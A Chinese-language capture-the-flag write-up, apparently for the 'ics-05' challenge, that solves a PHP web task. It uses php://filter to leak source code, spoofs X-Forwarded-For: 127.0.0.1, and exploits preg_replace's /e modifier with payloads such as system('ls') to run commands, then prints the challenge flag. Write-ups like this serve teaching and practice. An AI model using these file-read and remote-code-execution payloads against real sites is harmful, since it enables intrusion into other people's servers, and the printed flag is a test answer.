打开链接,似曾相识的感觉(前面做过一道题叫ics-06,那道题是对id的一个爆破)
尝试后发现只有设备维护中心可以跳转
这和我们使用御剑扫描出来的结果是一样的
使用PHP伪协议读取 index.php 页面
构造payload(在愚人杯http://t.csdn.cn/5XorV中的第五题有对这个PHP伪协议的讲解)
php://filter/read=convert.base64-encode/resource=index.php
得到了一串很长的字符,从结尾来看应该是base64
对其解码后得到index.php 的源代码
关键代码
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
preg_replace 函数使用 /e 模式,导致代码执行问题
pat值和sub值相同,rep的代码就会执行。
将 X-Forwarded-For 设置为 127.0.0.1
preg_replace 函数具有代码执行漏洞
preg_replace("/php/e", $_GET['cmd'], 'php');
参数 pattern 带有/e 时,preg_replace 就会把 replacement 参数当做命令执行
对这个代码利用,需要将 X-Forwarded-For 设置为 127.0.0.1
因为这里要求 X-Forwared-For 来源于本地
我们在 http 头加上 X-Forwarded-For: 127.0.0.1 访问设备维护中心的页面
测试 payload:
?pat=/test/e&rep=phpinfo()&sub=test (记得还是要加上X-Forwarded-For: 127.0.0.1)
可以看到 phpindo() 被成功执行
构造payload:
?pat=/test/e&rep=var_dump(`dir`)&sub=test
或者
?pat=/php/e&rep=system("ls")&sub=php
得到目录 s3chahahaDir
直接访问
进入flag,里面有一个flag.php
直接打开的话是空白
我们通过伪协议来读取 flag.php
构造payload:
?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php
得到
PD9waHAKCiRmbGFnID0gJ2N5YmVycGVhY2V7MzM1NWVmNzA2NGNkM2JkNDBkZmRlNGNmZjRjMWUxMzl9JzsKCj8+Cg==
经base64解码后
得到flag
cyberpeace{3355ef7064cd3bd40dfde4cff4c1e139}